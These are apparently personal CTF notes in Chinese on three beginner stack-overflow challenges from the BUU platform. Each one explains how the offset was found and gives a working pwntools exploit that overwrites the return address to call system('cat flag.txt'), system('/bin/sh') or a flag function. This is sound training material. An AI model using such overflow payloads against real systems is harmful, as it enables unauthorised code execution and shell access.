BUU pwn 简单栈溢出题笔记
BUU warmup_csaw_2016
本题直接给出了system('cat flag.txt')的地址,直接覆盖eip即可。
首先file,发现是64位ELF文件。
IDA发现main函数中return了get函数,存在溢出点。
查看文件中的字符串,发现有'cat flag.txt'
双击后发现'cat flag.txt'在sub_40060D函数中
双击sub_40060D,右键打开文本视图,可以看到这行代码直接调用了system()函数,并将命令'cat flag.txt'作为参数,所以直接将函数地址0x400611覆盖eip,作为返回地址
main调用gets函数时,首先会将参数v5压栈,而v5是一个64字节的char数组,所以我们需要填满64字节+ebp的8字节=72字节,然后再填入返回地址0x400611即可覆盖eip了。
构造payload,即可得到flag!
from pwn import *
p = remote("node4.buuoj.cn",27708)
payload = b'0'*72 + p64(0x400611)
p.sendline(payload)
p.interactive()
jarvisoj_level2
本题给出了system函数的地址和'/bin/sh'字符串的地址,需要两次压栈
首先,查看字符串'/bin/sh',地址是0x0804A024
本题中system函数不止出现一次,所以随便选一个,找到地址0x0804845C
缺陷函数如下,我们需要覆盖buf数组和上面的ebp才能到达main栈帧的eip,共136+4=140字节
然后将eip覆盖为system的地址,将eip上面的4字节覆盖为'/bin/sh'的地址,此时栈结构如下。函数返回时,下一条指令就是system,正常情况接下来要压栈system的参数,我们之前压栈的'/bin/sh/'的地址就被当成了这个参数,结果成功执行了system('/bin/sh')
payload如下
from pwn import *
p = remote("node4.buuoj.cn",25086)
payload = b'a'*140+p32(0x0804845C)+p32(0x0804A024)
p.sendline(payload)
p.interactive()
get_started_3dsctf_2016
这道题需要跳转到包含参数的函数get_flag。由于本题没有采用标准输入输出来给出shell,而是通过读文件的方式,所以必须要让程序正常退出,远程才能回显结果。这就需要设置get_flag的返回地址为exit()函数。
从大量函数中找到exit后,按Tab即可跳转到汇编,找到地址0x0804E6A0。get_flag的地址为0x080489A0,需要两个参数a1和a2,分别是814536271和425138641
查看栈结构,main函数的v4数组占0x38字节,返回地址r的位置是0,这表明本题中函数调用并未考虑ebp的压栈,所以只需先覆盖0x38个字节,紧接着写入get_flag的地址即可。
构造payload时,结构为偏移+get_flag+exit+a1+a2
from pwn import *
p = remote("node4.buuoj.cn",27917)
payload = b'a'*(56)+p32(0x080489A0)+p32(0x0804E6A0)+p32(814536271)+p32(425138641)
p.sendline(payload)
p.interactive()